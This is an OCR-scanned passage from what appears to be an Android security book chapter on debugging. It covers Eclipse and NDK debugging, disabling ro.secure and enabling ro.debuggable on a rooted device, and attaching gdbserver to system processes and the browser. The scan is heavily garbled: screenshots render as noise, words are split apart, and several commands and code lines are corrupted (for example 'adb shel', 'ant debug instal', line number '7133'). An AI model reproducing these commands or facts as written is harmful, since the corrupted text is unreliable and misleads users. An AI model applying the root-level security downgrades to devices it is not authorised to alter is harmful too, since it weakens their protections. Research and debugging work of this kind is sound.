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To begin debugging the application, click the Debug As icon in the toolbar— 
the one that looks like a bug—to bring up the Debug perspective. As its name 
implies, this perspective is designed especially for debugging. It displays the 
views most pertinent to debugging, which puts the focus on the most relevant 
information. Figure 7-3 shows the debug perspective after the debugging ses- 
sion has launched. 


= = m 
© Debug -HelloWorid/src/com/example/hetoword/Meināctiityjava -Ede (es 


Ele Edt Source Refactor Navigate Search Project Run Window Help 


nw) e- OG | SSH | RP £ we Ow i) | Mae Goede ef jebug 
$ Debug X Fal = = FS Dlleo-varisbles 2 8S Breton) 2 | Rw = Ol 
| i > ww | ie S| a| T |i [value J 


jainActivity (id=830037680376) 
ill 


© a Thread [<1> main] (Suspended (breakpoint at line 12 in MainActivity)) [a] > © this 
= Mainiictivity.oncreateiBundle) limes 12 i) 3 savedinstanceState 


Maindctivity(Activity).performCreate(Bundle) line: 5133 
= Instrumentation. callActivityOnCreate(Activity, Bundle) line: 1087 
= ActivityThread performLaunchActivity ActivityThreadSA.ctvityClientRecord, Inter} y || 


I] Oe =] 


| D) Mainactivityjava $ renj | BE Outline | EE Disassembly 53 hm) 
package com. example. helloworld; = a j [=] (No debug context 
| aL 

| | 


import android. os. Bundle; 


public class MainActivity extends Activity { | bace acens 


super, onCreate(savedInstanceState) ; 


| @0verride | 
| protected void onCreate(Bundle savedInstanceState) { 
E = setContentView[R. Layout. activity main); f 


a - mA | E J- 


2 Z) Tasks! $. Problems| ()) Executables! $9) Logcat 


-08-25 15:21:38 - HelloWorld] --------e-eeeceennnenewnenen S| 
| [2013-08-25 15:21:38 - HelloWorld] Android Launch! 
[2013-08-25 15:21:38 - HelloWorld] adb is running normally. 
[2013-08-25 15:21:38 - HelloWorld] Performing com. example. helloworld. MainActivity activity Launch 
[2013-08-25 15:21:38 - HelloWorld] Automatic Target Mode: using device '0065392399cab766' 
[2013-08-25 15:21:39 - HelloWorld] Application already deployed. No need to reinstall. 
[2013-08-25 15:21:39 - HelloWorld] Starting activity com. example, helloworld.MainActivity on device 0065392399cab766 
[2013-08-25 15:21:40 : HelloWorld] ActivityManager: Starting: Intent { act=android. intent. action. MAIN cat=[android. intent. category. LAUNCHER] cmp=com. example. hello 
[2013-08-25 15:21:41 - HelloWorld] Attempting to connect debugger to ‘com. example. helloworld' on port 8600 f 
| | 
R i || 
‘We | | Updating indexes iG | 
| 


Figure 7-3: Eclipse Debug perspective 


As you can see, several of the views displayed are not present in the Java 
perspective. In fact, the only views common with the Java perspective are the 
outline and source code views. In Figure 7-3, the debugger is stopped on a 
breakpoint placed in the main activity. This is apparent from the highlighted 
line of code and the stack frame selected in the Debug view. Clicking the vari- 
ous stack frames in this view displays the surrounding code in the source code 
view. Clicking frames for which no source code is available displays a descrip- 
tive error instead. The next section describes how to display source code from 
the Android Framework while debugging. 

Although this method is straightforward, a lot of things are happening 
under the hood. Eclipse automatically handles building a debug version of 
the app, installing the app to the device, launching the app, and attaching the 
debugger. Debugging applications on an Android device typically requires the 
android: debuggabl e=true flag to be set in the application’s manifest, also known 
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as the AndroidManifest.xml file. Later, in the “Debugging Existing Code” sec- 
tion, methods for debugging other types of code are presented. 


Showing Framework Source Code 


Occasionally, it’s useful to see how the application code is interacting with the 
Android Framework. For example, you may be interested in how the application 
is being invoked or how calls into the Android Framework are being processed. 
Thankfully it’s possible to display the source code for the Android Framework 
when clicking stack frames, just as the source code for an app is displayed. 

The first thing you need to accomplish this is a properly initialized AOSP 
repository. To initialize AOSP properly, follow the build instructions from the 
official Android documentation located athttp://source. android. com/source/ 
building. html. When using a Nexus device, as we recommend, pay special 
attention to the branch and configuration for the device being used. You can 
find these details athttp://source. android. com/source/ building-devices 
. ht ml . The final step for initialization is running the | unch command. After the 
AOSP repository is initialized correctly, proceed to the next step. 

The next step involves building a class path for Eclipse. From the AOSP root 
directory, run the make idegen command to build thei degen. sh script. When 
the build is complete, you can find the script in the devel opment/tools/idegen 
directory. Before running the script, create the exc! uded- paths file in the top- 
level directory. Exclude all of the directories under the top-level that you don’t 
want to include. To make this step easier, an example exc! uded- paths file, which 
includes only code from the f r ame works directory, is included in the materials 
accompanying this book. When the excl uded- paths file is ready, execute the 
i degen. sh script. The following shell session excerpt shows the output from a 
successful execution: 


dev: ~/android/source $ ./development/tools/idegen/idegen. sh 
Read excludes: 3ms 

Traversed tree: 1794ms 

dev: ~/android/source $ Is -I .classpath 

-T Wee ee eee 1 jdrake jdrake 20K Aug 25 17:46 . classpath 

dev: ~/android/source $ 


The resulting class path data gets written to the. cl ass path file in the current 
directory. You will use this in the next step. 

The next step involves creating a new project to contain the source code 
files from the class path that you generated. Using the same workspace as the 
“Hello World” app from the previous section, create a new Java project with 
File > New Project > Java > Java Project. Enter a name for the project, such as 
AOSP Framework Source. Deselect the Use Default Location check box and 
instead specify the path to the top-level AOSP directory. Here, Eclipse uses the 
. classpath file created in the previous step. Click Finish to conclude this step. 
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Mejid Dueto the sheer size of the Android code, Eclipse may run out of memory 
when creating or loading this project. To work around this issue, add the - v mar gs 
- Xmx 1024m command line options when starting Eclipse. 


Next, start debugging the example application as in the last section. If the 
breakpoint is still set in the main activity’s onCr eat e function, execution pauses 
there. Now, click one of the parent stack frames in the debug view. It should 
bring up a Source Not Found error message. Click the Attach Source button. 
Revealing the button may require enlarging the window because the window 
does not scroll. When the Source Attachment Configuration dialog appears, 
click the Workspace button. Select the AOSP Framework Source project that 
was created in the previous step and click OK. Click OK again. Finally, click the 
stack frame in the debug view again. Voila! The source code for the Android 
Framework function related to selected stack frame should be displayed. Figure 
7-4 shows Eclipse displaying the source code for the function that calls the main 
activity’s onCreate function. 


2 in T a R U =E 


File Edt Run Source Refactor Navigate Search Project Window Help 
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F t 
com. android, internal. R. styleable. Window_windowNoDisplay, false); oF RESULT_CANCELED ` in 


nFragments. dispatchActivityCreated|); OF RESULT OK | int | 
F RESULT FIRST_USER - int 
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mFragments. noteStateNotSavedi }; PF FOCUSED_STATE_SET irl] 
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00 = | eee a 
= = = — | 
E console 83 ~ Zi Tasks | {f Problems| I Executables | $T) LogCat) eu bË | E> rir =o | 
fee E q ere = = —S = 
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Figure 7-4: Source for Activity.performCreate in Eclipse 


After following the instructions in this section, you can use Eclipse to step 
through Android Framework source code. However, some code was inten- 
tionally excluded from the class path. Should displaying code from excluded 
classes become necessary, modify the included excl uded- paths file. Likewise, 
if you determine that some included paths aren't necessary for your debugging 
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session, add them to excl uded- paths. After modifying excl uded- paths, repeat 


the process to regenerate the . classpath file. 


Debugging Existing Code 


Debugging system services and prebuilt apps requires a slightly different 
approach. As briefly mentioned, debugging Dalvik code typically requires that 
it be contained within an app that has the android: debuggable flag set tot rue. 
As shown in Figure 7-5, firing up DDMS or Android Device Monitor, which 
come with the Android SDK, only shows debuggable processes. 


Ee ee 
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Figure 7-5: Android Device Monitor with ro.debuggable=0 


As shown, only the com. exampl e. hel I oworld application appears. This is 


typical for a stock device. 


An engineering device, which is created by building with the eng build configu- 
ration, allows accessing all processes. The primary difference between eng and 
user oruser debug builds lies in the values for ther o. secure andro. debuggable 
system properties. Both user and userdebug builds set these values to 1 and 
0, respectively; whereas an eng build sets them to 0 and 1. Additionally, eng 
builds run the ADB daemon with root privileges. In this section, methods for 
modifying these settings on a rooted device and actually attaching to existing 


processes are covered. 
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Faking a Debug Device 


Luckily, modifying a rooted device to enable debugging other code is not ter- 
ribly involved. There are two avenues to accomplish this; each with its own 
advantages and disadvantages. The first method involves modifying the boot 
processes of the device. The second method is readily executed on a rooted 
device. In either case, special steps are required. 

The first method, which isn’t covered in depth in this chapter, involves chang- 
ing thero.secure andro. debuggabl e settings in the device's def aul t. prop file. 
However, this special file is usually stored in thei ni t rd image. Because this 
is a ram disk, modifying it requires extracting and repacking the boot. i mg for 
the device. Although this method can semipermanently enable system-wide 
debugging, it also requires the target device to have an unlocked boot loader. If 
this method is preferable, you can find more detail on building a custom boot 
.i mg in Chapter 10. 

The second method involves following only a few simple steps as the r oot 
user. Using this method avoids the need to unlock the boot loader, but is less 
permanent. The effects of following these steps persist only until the device is 
rebooted. First, obtain a copy of the set propex utility, which enables modify- 
ing read-only system properties on a rooted device. Use this tool to change the 
ro. secure setting to0 and thero. debuggable setting to 1. 


shell @maguro:/data/local/tmp $ su 
root@maguro:/data/local/tmp # ./setpropex ro.secure 0 
root@maguro:/data/local/tmp # ./setpropex ro.debuggable 1 
root@maguro:/data/local/tmp # getprop ro.secure 

0 

root@maguro:/data/local/tmp # getprop ro.debuggable 

1 


Next, restart the ADB daemon with root privileges by disconnecting and 
using the adb root command from the host machine. 


root @maguro:/data/local/tmp # exit 
shell @maguro:/data/local/tmp $ exit 
dev: ~/android $ adb root 

restarting adbd as root 

dev: ~/android $ adb shel 
root@maguro:/ # 


Some devices, including Nexus devices running Android 4.3, ship with a 
version of theadbd binary that does not honor theadb root command. For those 
devices, remount the root partition read/write, move/ sbi n/ adbd aside, and copy 
over acustom-builtuserdebug version ofadbd. 
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The final step is to restart all processes that depend on the Dalvik VM. This 


step is not strictly necessary, as any such processes that start after changing the 
ro. debuggable property will be debuggable. If the desired process is already 
running, it may suffice to restart only that process. However, for long-running 
processes and system services, restarting the Dalvik layer is necessary. To force 
the Android Dalvik layer to restart, simply kill thes yst em_server process. The 
following excerpt shows the required commands: 


root@maguro:/data/local/tmp # ps | ./busybox grep system server 
system 527 174 953652 62492 ffffffff 4011c¢304 S systemserver 
root@maguro:/data/local/tmp # kill -9 527 
root@maguro:/data/local/tmp # 


After the kill command is executed, the device should appear to reboot. This 


is normal and indicates that the Android Dalvik layer is restarting. The ADB 
connection to the device should not be interrupted during this process. When 
the home screen reappears, all Dalvik processes should show up as shown in 
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Figure 7-6: Android Device Monitor with ro.debuggable=1 


In addition to showing all processes, Figure 7-6 also shows the threads from 
thesystem_process process. This would not be possible without using an 
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engineering device or following the steps outlined in this section. After com- 
pleting these steps, it is now possible to use DDMS, Android Device Monitor, 
or even Eclipse to debug any Dalvik process on the system. 


Kee Pau Oliva’s RootAdb app automates the steps outlined in this section. You 
can find the app in Google Play athtt ps://play.google.com/store/apps/ 
details?id=org.esl ack. rootadb. 


Attaching to Other Processes 


In addition to basic profiling and debugging, a device in full debug mode also 
allows debugging any Dalvik processes in real time. Attaching to processes is, 
again, a simple step-by-step process. 

With Eclipse up and running, change the perspective to the DDMS perspective 
using the perspective selector in the upper-right corner. In the Devi ces view, 
select the desired target process, for example syst em_process. From the Run 
menu, select Debug Configurations to open the Debug Configurations dialog 
box. Select Remote Java Application from the list on the left side of the dialog 
and click the New Launch Configuration button. Enter any arbitrary name in 
the Name entry box, for example At tacher . Under the Connect tab, select the 
AOSP Framework Source project created in the “Showing Framework Source 
Code” section earlier in this chapter. In the Host entry box, enter 127. 0. 0. 1. In 
the Port entry box, enter 8700. 


Port 8700 corresponds to whatever process is currently selected inside the 
DDMS perspective. Each debuggable process is assigned a unique port as well. Using 
the process-specific port creates a debug configuration that is specific to that process, 
as expected. 


Finally, click the Apply button and then the Debug button. 

At this point, Eclipse has attached to the syst em_process process. Switching 
to the Debug perspective shows the active threads for the process in the Debug 
view. Clicking the Suspend button stops the selected thread. Figure 7-7 depicts 
Eclipse attached to the syst em_process process, with the Wi fi Manager service 
thread suspended. 

As before, clicking the stack frames in the threads navigates to the relevant 
locations in the source code. The only thing left is to utilize breakpoints and 
other features of the Eclipse debugger to track down bugs or explore the inner 
workings of the system. 
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Figure 7-7: Eclipse attached to system_process 


Debugging Native Code 


The C and C++ programming languages that are used to develop native code on 
Android lack the memory safety that Dalvik provides. With more pitfalls lurk- 
ing, it is much more likely that mistakes will be made and crashes will occur. 
Some of these bugs will be more serious because of the potential for them to be 
exploited by an attacker. Consequently, getting to the root cause of the issue is 
paramount for both attackers and defenders. In either case, interactively debug- 
ging the buggy program is the road most traveled to reach the desired outcome. 

This section discusses the various options for debugging native code on 
Android. First, we discuss how you can use the Android Native Development 
Kit (NDK) to debug the custom native code inside apps you compile. Second, we 
demonstrate how to use Eclipse to debug native code. Third, we walk through the 
process of using AOSP to debug the Android browser on a Nexus device. Fourth, 
we explain how to use AOSP to achieve full source-level interactive debugging. 
Finally, we discuss how to debug native code running on a non-Nexus device. 
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Debugging with the NDK 


Android supports developing custom native code via the Android NDK. Since 
revision 4b, the NDK has included a convenient script called ndk- gdb. This 
script represents the officially supported method for debugging native code 
included in a developer’s Android app. This section describes the requirements, 
details the preparation process, explains the inner workings, and discusses the 
limitations of this script. 


| WARNING | The Over-the-Air (OTA) updates for Android version 4.3 introduced 
a compatibility issue with debugging using the NDK. You can find more information, 
including workarounds, in Issue 58373 in the Android bug tracker. Android 4.4 fixed 
this issue. 


Preparing an App for Debugging 


The first thing that is important to recognize about the NDK’s debugging support 
is that it requires a device or emulator running Android 2.2 or newer. Further, 
debugging native code with multiple threads requires using Android 2.3 or 
newer. Unfortunately, pretty much all code on Android is multithreaded. On 
the other hand, the number of devices that run such old versions of Android is 
dwindling. Finally, as you might guess, the target app must be built for debug- 
ging during the preparation phase. 

Preparing your app varies depending on which build system you use. Enabling 
debugging for native code using the NDK alone, via ndk- bui | d, is accomplished 
by setting the NDK_DEBUG environment variable to 1. If you use Eclipse, you 
have to modify project properties, as discussed in the next section. You can also 
build a debugging-enabled app using the Apache Ant build system by using the 
ant debug command. Whichever build system you use, enabling debugging at 
build time is essential to successfully debugging the native code. 


kee Using the scripts discussed in this section requires the NDK directory to be in 
your path. 


Seeing It in Action 


To demonstrate native debugging with the NDK, and in general, we put together 
a slightly modified version of the “Hello World” application. Instead of displaying 
the string, we use a Java Native Interface (JNI) method to return a string to the 
application. The code for the demo application is included with the materials 
for this chapter. The following excerpt shows the commands used for building 
the application using the NDK: 


dev: NativeTest $ NDK DEBUG=1 ndk- build 
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Gdbserver > [arm-linux-androideabi-4.6] l|ibs/armeabi/gdbserver 
Gdbsetup : |ibs/armeabi/gdb. setup 

Compile thumb : hello-jni <= hello-jni.c 

SharedLibrary : libhello-jni.so 

Install : Libhello-jni.so => libs/armeabi/libhello-jni.so 


dev: NativeTest $ 


Looking at the output, it’s clear that setting the NDK_ DEBUG environment 
variable causes the ndk- bui |d script to do a couple of extra things. First, the 
script adds a gdbserver binary to the application package. This is necessary 
because devices don’t usually have a GDB server installed on them. Also, using a 
gdbserver binary that matches the GDB client ensures maximum compatibility 
and reliability while debugging. The second extra thing that the ndk- bui | d script 
does is create a gdb. setup file. Peeking inside this file reveals that it is a short, 
auto-generated script for the GDB client. This script helps configure GDB so 
that it can find the local copies of libraries, including the JNI, and source code. 

When using this build method, building the native code is separate from 
building the application package itself. To do the rest, use Apache Ant. You can 
build and install a debug package in a single step with Apache Ant by using 
the ant debug instal! command. The following excerpt shows that process, 
though much of the output has been omitted for brevity: 


dev: NativeTest $ ant debug instal 

Buildfile: /android/ws/1/NativeTest/ build. xml 
lyra 
insta 


echo] Installing /android/ws/1/NativeTest/bin/MainActivity-debug. apk 
onto 
default emulator or device.. 

exec] 759 KB/s (393632 bytes in 0.506s) 

exec pkg: /data/local/tmp/MainActivity-debug. apk 
exec] Success 


BUILD SUCCESSFUL 
Total time: 16 seconds 


With the package installed, you're finally ready to begin debugging the app. 

When executed without any parameters, the ndk- gdb script attempts to find 
a running instance of the target application. If none is found, it prints an error 
message. There are many ways to deal with this issue, but all except one require 
manually starting the application. The most convenient way is to supply the 
--start parameter to the ndk- gdb script, as seen in the following excerpt. 


dev: NativeTest $ ndk-gdb --start 

Set uncaught java.lang. Throwable 

Set deferred uncaught java.!ang. Throwable 
Initializing jdb... 

> Input stream closed. 

GNU gdb (GDB) 7.3.1-gg2 

Copyright (C) 2011 Free Software Foundation, Inc. 
[vce 
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warning: Could not load shared library symbols for 82 libraries, e.g. 
libstdc++. so. 

Use the "info sharedlibrary" command to see the complete listing. 

Do you need "set solib-search-path" or "set sysroot"? 

warning: Breakpoint address adjusted from 0x40179b79 to 0x40179b78 
Ox40lbb5d4 in __futex_syscall3 () from 
fandroid/ws/1/NativeTest/obj/local/armeabi/libc.so 

(gdb) break Java_comexample_nativetest MainActivity_stringFromN 
Function "Java_com_example_nativetest MainActivity_stringFrom NI" not 
defined. 

Make breakpoint pending on future shared library load? (y or [n]) y 


Breakpoint 1 (Java_com_example_nativetest MainActivity_stringFrom NI 
pending. 

(gdb) cont 

Continuing. 


The biggest advantage to using this method is the ability to place breakpoints 
early in the native code’s execution paths. However, this feature suffers from 
some timing issues when using NDK r9 with Android 4.2.2 and 4.3. More 
specifically, the application doesn’t start and instead displays the Waiting for 
Debugger dialog indefinitely. Thankfully there is a simple workaround. After 
the native GDB client comes up, manually run the Java debugger and connect 


to the default endpoint as seen here: 


dev:~ $ jdb -connect comsun.jdi.SocketAttach: hostname=127.0.0.1, port =65534 


Set uncaught java.lang. Throwable 

Set deferred uncaught java.!ang. Throwable 
Initializing jdb... 

> 


You can execute this command by suspending the script or running the 
command in another window. After JDB is connected, the application starts 


executing, and the breakpoint you set in the previous excerpt should fire. 


Breakpoint 1, Java_com_example_nativetest_ MainActivity_stringFrom N 
(env=0x40168d90, thiz=Ox7af0001d) at jni/hello-jni.c:31 

31 __android_log_print(ANDROID_LOG_ERROR, "NativeTest", "INSIDE 
INIL"); 

(gdb) 


Employing this workaround makes hitting early breakpoints easy. Even when 
starting the app manually, it is usually possible to cause the application to re- 
execute the onCreat e event handler function by rotating the device orientation. 


This can help hit some elusive breakpoints as well. 


kee While writing this book, we contributed a simple patch to fix this issue. 
You can find the patch atht tps: //code.google.com/p/android/issues/ 
detail ?id=60685#c4. 


Chapter 7 = Debugging and Analyzing Vulnerabilities 


Newer versions of the NDK include the ndk- gdb- py script, which is similar 
to ndk- gdb except it is written in Python instead of shell script. Although this 
script does not suffer from the endless Waiting for Debugger issue, it has issues 
of its own. To be more specific, it has issues when the application targets older 
versions of the Android SDK. Fixing this issue is a simple one-line change, but 
the change was originally made to fix a previous bug. Hopefully these issues 
get ironed out over time, and the debugging facilities of the NDK can be made 
more robust and usable. 


Looking Under the Hood 


So after dodging a minefield of issues, you are able to debug our native code. 
But what really happens when you run the ndk- gdb script? Running the script 
with the - - ver bose flag sheds some light on the subject. Consulting the official 
documentation, included as docs/ NDK- GDB. ht ml in the NDK, also helps paint the 
picture. At around 750 lines of shell script, reading the entire thing is approach- 
able. The most relevant parts of the script lie in the final 40 or so lines. The 
following excerpt shows the lines from the Android NDK 19 for x86_64 Linux: 

708 # Get the app_server binary fromthe device 

709 APP_PROCESS=$APP_OUT/ app_process 

710 run adb_cmd pull /system/bin/app_process ‘native path $APP_PROCESS* 

711 log "Pulled app_process from device/emul ator." 

712 

713 run adb_cmd pull /system/bin/linker ‘native _path $APP_OUT/Iinker’ 

714 log "Pulled linker from device/emul ator." 

715 


716 run adb_cmd pull /system/lib/libc.so ‘native path $APP_OUT/libc.so° 
717 log "Pulled libc.so from device/emul ator." 


The commands on lines 710, 713, and 716 download three crucial files from 
the device. These files are the app_process,linker,and!ibc.so binaries. These 
files contain crucial information and some limited symbols. They do not contain 
enough information to enable source-level debugging, but the “Debugging with 
Symbols” section later in this chapter explains how to achieve that. Without 
the downloaded files, the GDB client will have trouble properly debugging the 
target process, especially when dealing with threads. After pulling these files, 
the script attempts to launch JDB to satisfy the “Waiting for Debugger” issue 
that you dealt with previously. Finally, it launches the GDB client as shown here: 

730 # Now launch the appropriate gdb client with the right init 
commands 

731 # 

732 GDBCLIENT=${TOOLCHAI N_PREFI X}gdb 

7133 GDBSETUP=$APP_OUT/ gdb. setup 

734 cp -f $GDBSETUP_INIT $GDBSETUP 


735  #uncomment the following to debug the remote connection only 
736 #echo "set debug remote 1" >> $GDBSETUP 
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737 echo "file ‘native path $APP_PROCESS’" >> $GDBSETUP 
738 echo “target remote :$DEBUG PORT" >> $GDBSETUP 

739 if [ -n "$OPTION EXEC" ] ; then 

740 cat $OPTION EXEC >> $GDBSETUP 

741 f 

742 $GDBCLIENT -x `native_path $GDBSETUP` 


Most of these statements, on lines 733 through 741, are building up a script 
used by the GDB client. It starts by copying the originalgdb. setup file that was 
placed into the application during the debug build process. Next, a couple of 
comments appear. Uncommenting these lines enables debugging the GDB pro- 
tocol communications itself. Debugging on this level is good for tracking down 
gdbserver instability issues, but isn’t helpful when debugging your own code. 
The next two lines tell the GDB client where to find the debug binary and how 
to connect to the waiting GDB server. On lines 739 through 741, ndk- gdb appends 
a custom script that can be specified with the - x or - -exec flag. This option is 
particularly useful for automating the creation of breakpoints or executing more 
complex scripts. More on this topic is discussed in the “Automating GDB Client” 
section later in this chapter. Finally, the GDB client and the freshly generated 
GDB script are executed. Understanding how the ndk- gdb script works paves 
the way for the types of advanced scripted debugging that is discussed in the 
“Increasing Automation” section later in this chapter. 


Debugging with Eclipse 


When version 20 of the ADT plug-in was released in June 2012, it included sup- 
port for building and debugging native code. With this addition, it was finally 
possible to use the Eclipse IDE to debug C/C++ code. However, installing a ver- 
sion of ADT with native code support is not enough to get started. This section 
describes the additional steps necessary to achieve source-level debugging for 
native code inside the demonstration application. 


Adding Native Code Support 


After opening the project, the first step to achieving native debugging is telling 
ADT where to find your NDK installation. Inside Eclipse, select Preferences from 
the Window menu. Expand the Android item and select NDK. Now enter or 
browse to the path where your NDK is installed. Click Apply and then click OK. 

Normally, it would be necessary to add native code to the project as well. 
Fortunately, the source code in this chapter’s accompanying materials already 
includes the necessary native code. If there is an issue, or you want to add native 
code to anew Android application project, the steps follow. Otherwise, it is safe 
to skip over the next paragraph. 

To add native support to the project, start by right-clicking the project in the 
Package Explorer view and selecting the Android Tools > Add Native Support 
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menu item. In the dialog that displays, type the name of the JNI. In the case of 
our demonstration app, this is hel | o-j ni . Click OK. At this point, ADT creates 
thej ni directory and adds a file called he! | 0-j ni. cpp to the project. The next 
step is to tweak a few settings before launching the debugger. 


Preparing to Debug Native Code 


Just as you did before with ndk- gdb, you need to inform the Android build sys- 
tem that you want to build with debugging enabled. Doing this inside Eclipse 
requires only a few simple actions. First, select Project > Properties. Expand the 
C/++ Build option group and select Environment. Click the Add button. Enter 
NDK_DEBUG for the variable name and 1 for the value. After clicking OK, every- 
thing is set to begin debugging. To confirm that the new environment variable 
is in effect, select Project > Build All. Output similar to that displayed when 
using ndk- gdb directly should be displayed in the Console view. In particular, 
look for the lines starting with Gdb. 


Seeing It in Action 


Because the goal is to debug the code, you still want to confirm that everything 
is working as it should. The simplest way to do that is to verify that you can 
interactively hit a breakpoint inside Eclipse. First, place a breakpoint inside 
the JNI method where you want to break. For the demonstration app, the line 
with the call to the __android_log_print function is an ideal location. After 
the breakpoint is set, fire up a debug session by clicking the Debug As toolbar 
button. If this application has never been debugged before, you see a dialog 
asking which way to debug it. For debugging native code, select Android Native 
Application and click OK. ADT launches the native debugger, attaches to the 
remote process, and continues execution. With a bit of luck, you see our break- 
point hit as shown in Figure 7-8. 

Unfortunately, success is left to luck because of another form of the Waiting 
for Debugger issue. This time, rather than waiting forever, it gets dismissed 
too quickly and you miss the breakpoint the first time around. Thankfully, the 
orientation toggle workaround lets you cause the onCreat e event to fire again 
and thus re-execute your native code, thereby stopping on your breakpoint. 


Debugging with AOSP 


The AOSP repository contains almost everything you need to get up and run- 
ning. An ADB binary, which normally comes from the SDK Platform Tools, is the 
only other thing that’s needed. Because Nexus devices are directly supported by 
AOSP, using a Nexus device for debugging native code provides the best experi- 
ence. In fact, nearly all of the examples in this chapter were developed with the 
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use of a Nexus device. Further, Nexus devices ship with binaries built using the 
userdebug build variant. This is evidenced by the existence of a. gnu_debugl ink 
section in the Executable and Linker Format (ELF) binary. Using this build 
variant creates partial symbols for all the native code binaries on the device. 
This section walks through the process of using an AOSP checkout to debug 
the Android browser, which breaks down into three basic phases: setting up 
the environment, attaching to the browser, and connecting the debugger client. 
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Figure 7-8: Stopped at a native breakpoint in Eclipse 


Megi Dueto the security model of Android, debugging system processes written 
in native code requires root access. You can obtain root access by using an eng build 
or by applying the information supplied in Chapter 3. 


Setting Up the Environment 


Before attaching GDB to the target process, you must set up your environment. 
Using AOSP, you can accomplish this with only a few simple commands. In the 
following excerpt, you set up the environment for debugging programs writing 
in C/C++ on a GSM Galaxy Nexus running Android 4.3 (JWR66Y). 


dev: ~/android/source $ mkdir -p device/samsung && cd $_ 
dev: ~/android/source/device/samsung $ git clone \ 
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/aosp-mirror/device/samsung/ maguro. git 

Cloning into 'maguro'... 

done. 

dev: ~/android/source/device/samsung $ git clone \ 
/aosp-mirror/device/samsung/tuna. git 

Cloning into ‘tuna’... 

done. 

dev: ~/android/source/device/samsung $ cd ../. 
dev: ~/android/source $ . build/envsetup. sh 
including device/samsung/ maguro/vendorsetup.sh 
including sdk/bash_completion/adb. bash 

dev: ~/android/source $ lunch full _maguro-userdebug 


PLATFORM VERS! ON_CODENAME=REL 
PLATFORM_VERSI ON=4. 3 
TARGET_PRODUCT=f ull maguro 
TARGET_BUILD_VARI ANT=userdebug 
TARGET_BUILD_TYPE=rel ease 
TARGET_BUILD_APPS= 
TARGET_ARCH=arm 
TARGET_ARCH_VARI ANT=ar mv7- a- neon 
TARGET_CPU_VARI ANT=cortex- a9 
HOST_ARCH=x 86 

HOST_OS=l i nux 

HOST_OS_EXTRA=Li nux-3.2.0-52-generic-x86_64-with-Ubuntu-12.04-precise 
HOST_BUILD_TYPE=rel ease 

BUI LD_| D=] WR66Y 

OUT_DI R=out 


The first few commands obtain the device-specific directories for the Galaxy 
Nexus, which are required for this process. The devi ce/samsung/ maguro reposi- 
tory is specific to the GSM Galaxy Nexus, whereas the devi ce/samsung/tuna 
repository contains items shared with the COMA/LTE Galaxy Nexus. Finally, 
you set up and initialize the AOSP build environment by loading the bui | d/ 
envsetup. sh script into your shell and executing the | unch command. 

With the AOSP environment set up, the next step is to set up the device. 
Because production images (user and user debug builds) do not include a GDB 
server binary, you need to upload one. Thankfully, the AOSP pr ebui lts direc- 
tory includes exactly the gdbserver binary you need. The next excerpt shows 
the command for achieving this, including the path to the gdbserver binary 
within the AOSP repository: 
dev: ~/android/source $ adb push prebuilts/misc/android-arm/gdbserver/ 
gdbserver \ 

/data/local/tmp 
1393 KB/s (186112 bytes in 0.130s) 


dev: ~/android/source $ adb shell chmod 755 /data/local/tmp/gdbserver 
dev: ~/android/source $ 


Now that the gdbserver binary is on the device, you are almost ready to 
attach to the browser process. 
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In this demonstration, you will be connecting the GDB client to the GDB 
server using a standard TCP/IP connection. To do this, you must choose one of 
two methods. If the device is on the same Wi-Fi network as the debugging host, 
you can simply use its IP address instead of 127. 0. 0. 1 in the following sections. 
However, remote debugging over Wi-Fi can be troublesome due to slow speeds, 
signal issues, power-saving features, or other issues. To avoid these issues, we 
recommend debugging using ADB over USB when possible. Still, some situa- 
tions, such as debugging USB processing, may dictate which method needs to 
be used. To use USB, you need to use ADB's port-forwarding feature to open a 
conduit for your GDB client. Doing so is straightforward, as shown here: 


dev: ~/android/source $ adb forward tcp: 31337 tcp: 31337 


With this step completed, you have finished initializing your minimal debug- 
ging environment. 


Attaching to the Browser 


The next step is to use the GDB server to either execute the target program or 
attach to an existing process. Running the gdbserver binary without any argu- 
ments shows the command-line arguments that it expects. 


dev: ~/android/source $ adb shell /data/local/tmp/gdbserver 
Usage: gdbserver [OPTIONS] COMM PROG [ARGS ...] 

gdbserver [OPTIONS] --attach COMM PID 

gdbserver [OPTIONS] --multi COMM 


COMM may either be a tty device (for serial debugging), or 
HOST: PORT to listen for a TCP connection. 


Options: 
-- debug Enable general debugging output 
--remote-debug Enable remote protocol debugging output 
-- version Display version information and exit 
--wrapper WRAPPER -- Run WRAPPER to start new programs. 


The preceding usage output shows that three different modes are supported 
by this gdbserver binary. All three require a COMM parameter, which is described 
in the excerpt above. For this parameter, use the port that you forwarded previ- 
ously, t cp: 31337. The first supported mode shown is for executing a program. 
It allows specifying the target program and the desired parameters to pass to 
it. The second supported mode allows attaching to an existing process, using 
the process ID specified by the P| D parameter. The third supported mode is 
called multiprocess mode. In this mode, gdbserver listens for a client but does 
not automatically execute or attach to a process. Instead, it defers to the client 
for instructions. 
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For the demonstration, we use attach mode because it is more resilient to 
crashes in the GDB client or server, which unfortunately happen on occasion. 
After choosing an operating mode, you are ready to attach to the browser. 
However, attaching to the browser requires that is running already. It doesn’t 
run automatically on boot, so you have to start it using the following command: 


shell @android:/ $ am start -a android.intent.action. VIEW \ 
-d about: blank com. google. android. browser 
Starting: Intent { act=android.intent. action. VIEW dat=about: blank } 


You use the am command with the st art parameter to send an intent asking 
the browser to open and navigate to the about : bl ank URI Further, you specify 
the browser's package name, com. google. android. browser, to prevent accidently 
spawning other browsers that may be installed. It’s a perfectly viable alternative 
to spawn the browser manually as well. 

The last thing that you need to attach to the now-running browser is its 
process ID. Use the venerable BusyBox tool, either by itself or in combination 
with the ps command, to find this last detail preventing you from attaching. 


2051 shell @android:/ $ ps | /data/local/tmp/busybox grep browser 
u0_ a4 2051 129 522012 59224 ffffffff 00000000 S 

com. google. android. browser 

shel! @android:/ $ /data/local/tmp/busybox pidof \ 

com. google. android. browser 

2051 


Now, spawn gdbserver using attach mode. To do this, first exit from the 
ADB shell and return to the host machine shell. Use the adb shel! command 
to spawn gdbserver, instructing it to attach to the browser’s process ID. 


dev: ~/android/source $ adb shell su -c /data/local/tmp/gdbserver \ 
--attach tcp: 31337 2225 

Attached; pid = 2225 

Listening on port 31337 

^Z 
[1]+ Stopped adb shell su -c /data/local/tmp/gdbserver 
--attach tcp:31337 2225 

dev: ~/android/source $ bg 

[1] + adb shell su -c /data/local/tmp/gdbserver --attach tcp: 31337 2225 & 


After gdbserver is started, use the Control-Z key combination to suspend the 
process. Then put the adb process into the background using bash’s bg command. 
Alternatively, you could send ADB to the background from the beginning using 
bash’s & control operator, which is similar to the bg command. This frees up the 
terminal so you can attach the GDB client. 
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Connecting the GDB Client 


